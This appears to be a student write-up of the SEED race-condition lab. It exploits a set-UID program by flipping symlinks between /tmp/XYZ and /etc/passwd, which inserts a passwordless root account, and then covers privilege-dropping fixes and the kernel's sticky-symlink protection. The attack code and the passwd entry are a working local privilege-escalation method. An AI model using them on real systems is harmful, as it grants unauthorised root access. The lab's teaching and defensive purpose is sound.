RACE-CONDITION VULNERABILITY LAB

SEED Lab #2

Identification

- **Group nº3**
  - **José Rodrigues** : 201708806
  - **Paulo Ribeiro** : 201806505
  - **Pedro Ferreira** : 201806506

Task 1:

- As indicated, we tested if the *magic password* works in our Ubuntu, by placing a test user in the /etc/passwd:

```
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
```

- We attempted the login, without a password (only pressing **Enter**) and we did indeed login successfully and we had root access since, for example, we can edit the /etc/passwd file, proving the existence of this *magic password*.

Task 2:

Task 2.A:

- We will first attempt to execute this attack by simulating a slow machine. We do that by adding the following instruction to the command between the *access* and the *fopen* calls:

```
sleep(10)
```

- After recompiling the program, we can now attempt this attack by running the program and giving as input the user we want to create, and within the given 10-second window, create a symbolic link that will make /tmp/XYZ (file that we had to create) lead to /tmp/passwd.
- We do all of this by running these commands:

```
touch /tmp/XYZ
./vulp
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
ln -sf /etc/passwd /tmp/XYZ
```

- This results in the root test user (passwordless) being added to the /etc/passwd file, which makes our attack successful

Task 2.B:

- Now we are attempting to actually do the attack without "cheating" on the time we have to launch the attack, so our program should do the critical step within the time window of the access and writing of the /temp/XYZ file.
- We started by creating a C file which will be responsible for removing and adding the symbolic link of the /tmp/XYZ file pointing to /etc/passwd. This should be done in an infinite loop so it can be executed enough tries.

```c
#include <unistd.h>
int main() {
    while(1) {
        unlink("/tmp/XYZ");
        symlink("/etc/passwd","/tmp/XYZ");
    }
    return 0;
}
```

- We also used the bash script below to run the vulnerable program on loop and monitor its results, letting us know when the attack is successful in altering the /etc/passwd file.

```bash
#!/bin/bash
CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]
do
    echo "test:U6aMy0wojraho:0:0:test:/root:/bin/bash" | ./vulp
    new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"
```

- Some time after running both of the programs above, we verified that the attack eventually worked, as shown in the printscreen below. We then attempted to login into the root user **test** using the *magic password* (no password), which worked as intended.

```
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
STOP... The passwd file has been changed
[03/20/22]seed@VM:~/.../Labsetup$
```

- However, the attack did not always work as intended, since the XYZ file sometimes became owned by root, which prevented the attack from working. Consequently, we had to restart it after removing and creating a new /tmp/XYZ file as a regular user.

Task 2.C:

- In this task we fixed the race-condition vulnerability present in our attack program, which was changing the /tmp/XYZ file permissions to root, preventing the attack program from making changes to it.
- To achieve that, we must make `unlink()` and `symlink()` atomic, by using the `renameat2()` system call to atomically switch between two symbolic links.

```c
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
int main() {
    unsigned int flags = RENAME_EXCHANGE;
    unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");
    unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");
    while(1) {
        renameat2(0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
    }
    return 0;
}
```

- Upon trying this attack, it worked a lot faster than the previous ones, and it never fails due to the atomic calls creating and deleting the symbolic link. This means we achieved our goal of changing the /etc/passwd file, adding a new root user "test" with the *magic password*.

Task 3:

Task 3.A:

- In this task, we applied the *Principle of Least Privilege* to the `vulp` program, by temporarily disabling the root privilege right before the access to the /tmp/XYZ file and later restoring the previous real user ID.

```
int main() {
    char* fn = "/tmp/XYZ";
    char buffer[60];
    FILE* fp;

    uid_t saved_uid = getuid(), safe_uid = 2;

    /* get user input */
    scanf("%50s", buffer);

    seteuid(safe_uid);  /* change to the non-privileged id configured */

    fp = fopen(fn, "a+");
    if (!fp) {
        perror("Open failed");
        exit(1);
    }
    fwrite("\n", sizeof(char), 1, fp);
    fwrite(buffer, sizeof(char), strlen(buffer), fp);
    fclose(fp);

    seteuid(saved_uid); /* return back to saved uid */

    return 0;
}
```

- After applying our fix to the `vulp` program, we ran the attack on it again, and after 10 minutes we still could not change the /etc/passwd file.

```
Open failed: Permission denied
Open failed: Permission denied
Open failed: Permission denied
Open failed: Permission denied
Open failed: Permission denied
Open failed: Permission denied
Open failed: Permission denied
Open failed: Permission denied
Open failed: Permission denied
Open failed: Permission denied
Open failed: Permission denied
Open failed: Permission denied
Open failed: Permission denied
Open failed: Permission denied
Open failed: Permission denied
Open failed: Permission denied
Open failed: Permission denied
Open failed: Permission denied
Open failed: Permission denied
Open failed: Permission denied
Open failed: Permission denied
Open failed: Permission denied
Open failed: Permission denied
```

- So, we conclude that in the event of an attack that attempts to change the file to which we are writing to a file whose access requires root permissions, it won't work as the program will no longer have root privileges at that moment. In this case, even if the symbolic link points to the /etc/passwd, its access will be denied since only root can access it and the privileges were dropped during that moment.

Task 3.B:

- After turning the Ubuntu protection back on and trying the attack using the `vulp` version without the *Principle of Least Privilege*, we verified that the attack does not work.

Question 1: How does this protection scheme work?

- This scheme adds some rules to the following of symlinks, which will only be allowed when at least one of the following situations is true:
  - the symlink is outside of a sticky world-writable directory
  - the uid of the symlink and follower match
  - the directory owner matches the symlink's owner

Since the /tmp folder has a "sticky" bit on, meaning that only the owner of the file can delete the file, even though the folder is world-writable, the first situation fails. The symbolic link would only work if it was created by the directory owner or by the follower. In our case, the /tmp owner (root) differs from the symlink creator (regular user) and also from the follower (root, because the `vulp` is a SET-UID root program). So, the three situations fail, therefore the symbolic link created by a regular user will never be followed.

Question 2: What are the limitations of this scheme?

After some searching, we came to the conclusion that there is at least one possible way of skipping this protection, which is the following case:

- If one owns a directory `/a/b` but does not have the search permissions (+x) on `/a` (and do not have `/a/b` as the current directory) then nothing can be done with `/a/b`. However, under this rule, a symlink to `/a/b` can still be created (it fulfils the third situation, for example), which would be followed by other users since `/a/b` is owned, even though `/a` cannot be accessed.